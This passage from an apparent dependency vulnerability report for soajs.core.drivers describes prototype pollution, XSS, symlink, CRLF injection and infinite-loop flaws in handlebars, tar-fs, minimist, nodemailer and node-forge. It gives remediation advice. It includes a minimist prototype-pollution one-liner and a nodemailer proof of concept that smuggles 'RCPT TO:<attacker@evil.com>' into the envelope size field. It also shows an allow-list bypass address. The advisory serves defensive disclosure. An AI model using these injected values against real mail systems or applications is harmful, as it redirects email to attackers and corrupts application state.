| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.10.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the quotedString() function in lib/handlebars/compiler/code-gen.js, which writes static template text into the JavaScript that Handlebars.precompile() generates without neutralizing a </script> sequence. An attacker can execute script in the browser under the embedding page's origin by placing </script> followed by markup in a template, which closes the script element early so the remainder is parsed as HTML. This requires the application to precompile templates the attacker controls and to embed the generated source directly in an inline <script> element, and the injected markup runs only when a user loads that page.
Workaround
This vulnerability can be avoided by serving precompiled templates as external JavaScript files rather than inlining the generated source in HTML.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade handlebars to version 4.7.10 or higher.
References
medium severity
- Vulnerable module: tar-fs
- Introduced through: dockerode@soajs/dockerode.git
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › dockerode@soajs/dockerode.git › tar-fs@1.12.0
Overview
tar-fs is a filesystem bindings for tar-stream.
Affected versions of this package are vulnerable to Symlink Following via the symlink validation process in the inCwd function. An attacker can write files outside the intended extraction directory by crafting a malicious tarball that contains symlinks starting with the name of the current working directory.
Workaround
This vulnerability can be mitigated by using the ignore option to exclude non-file and non-directory entries during the extraction process.
Remediation
Upgrade tar-fs to version 1.16.6, 2.1.4, 3.1.1 or higher.
References
medium severity
- Vulnerable module: tar-fs
- Introduced through: dockerode@soajs/dockerode.git
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › dockerode@soajs/dockerode.git › tar-fs@1.12.0
Overview
tar-fs is a filesystem bindings for tar-stream.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. An attacker can overwrite files on the system when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content.
Remediation
Upgrade tar-fs to version 1.16.2 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: handlebars@4.7.3
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.
Note:
This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.
PoC
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Remediation
Upgrade nodemailer to version 8.0.4 or higher.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Adherence to Coding Standards in the checkChar method of the Tokenizer class in src/addressparser/index.ts, where operatorExpecting holds a single expected closing character, so once < opens an address scope a following ( is not recognized as an operator and the RFC 5322 comment survives verbatim in the parsed address. An attacker can have a recipient address approved by an application's own domain allow-list check and then sent differently on the wire by supplying a value such as Legit User <user@good-corp.com(x)evil.com>, since the parentheses reach envelope.to and the RCPT TO command unchanged, where a conformant server rejects the transaction and a server that does strip comments resolves a different domain than the validator read. No recovery path applies, because _recoverAddrSpec returns immediately when the address contains no whitespace and the angle bracket path inserts none, and every field funnelling through MimeNode._parseAddresses, including to, cc, bcc, from, replyTo, and an explicit envelope, is affected identically.
Remediation
Upgrade nodemailer to version 10.0.13 or higher.
References
low severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Prototype Pollution via the resolvePartial function. An attacker can inject malicious scripts into rendered output by polluting Object.prototype with a key matching a partial reference, causing unescaped content to be rendered.
Note:
This is only exploitable if the attacker knows or can guess the name of a partial reference used in a template.
Workaround
This vulnerability can be mitigated by applying Object.freeze(Object.prototype) early in application startup or by using the runtime-only build, which reduces the attack surface.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
low severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Infinite loop in the BigInteger.prototype.modInverse method in the bundled jsbn library (lib/jsbn.js). An attacker can spin the calling thread at 100% CPU and block the Node.js event loop by supplying a negative operand or negative modulus to modInverse, whose binary extended Euclidean algorithm is defined only for positive integers and so never reaches its loop exit condition. This is reachable only when an application passes an untrusted RSA public exponent to forge.pki.rsa.generateKeyPair(), createKeyPairGenerationState(), or stepKeyPairGenerationState() (any exponent other than 3 or 65537 takes the pure-JavaScript path), or calls modInverse() directly on negative values derived from untrusted input, while data parsed by node-forge such as DER, PEM, JWK, PKCS#12, X.509, and TLS is read as unsigned and cannot trigger it.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33891.
Remediation
Upgrade node-forge to version 1.4.1 or higher.